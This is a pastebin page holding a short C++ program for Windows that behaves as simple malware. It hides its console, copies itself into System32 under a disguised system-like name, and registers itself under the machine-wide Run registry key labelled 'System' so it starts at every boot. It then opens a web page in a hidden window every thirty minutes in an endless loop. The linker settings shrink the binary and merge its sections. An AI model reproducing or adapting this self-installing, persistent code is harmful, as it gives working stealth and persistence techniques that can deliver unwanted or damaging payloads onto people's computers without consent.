All pastes #418974 Raw Edit

Unnamed

public cpp v1 · immutable
#418974 ·published 2007-03-31 23:26 UTC
rendered paste body
#pragma optimize("gsy", on)#pragma comment(linker, "/ENTRY:main")#pragma comment(linker, "/FILEALIGN:0x200")#pragma comment(linker, "/IGNORE:4078")#pragma comment(linker, "/MERGE:.rdata=.data")#pragma comment(linker, "/MERGE:.reloc=.data")#pragma comment(linker, "/MERGE:.text=.data")#pragma comment(linker, "/SECTION:.text, EWR")#pragma comment(linker, "/RELEASE")#pragma comment(linker, "/SUBSYSTEM:windows")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#pragma comment(lib, "msvcrt")#define WIN32_LEAN_AND_MEAN#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <shellapi.h>#include <mmsystem.h>void install(){	char windowsdir[MAX_PATH];	char path[500];	HKEY hKey2;	GetWindowsDirectory(windowsdir, sizeof(windowsdir));	HMODULE hMe = GetModuleHandle(NULL);	DWORD nRet = GetModuleFileName(hMe, path, 500);	strcat(windowsdir, "\\System32\\sysfnx32.exe");	CopyFile(path,windowsdir,0);	RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey2 );	RegSetValueEx(hKey2, "System",0,REG_SZ,(const unsigned char*)windowsdir,sizeof(windowsdir));	RegCloseKey(hKey2);}void openurl(){	while(1) {	char* URL = "http://www.google.com";	ShellExecute(NULL, "open", URL ,NULL, NULL,SW_HIDE);	Sleep(1800000);	}}void main(){   FreeConsole();   install();   openurl();}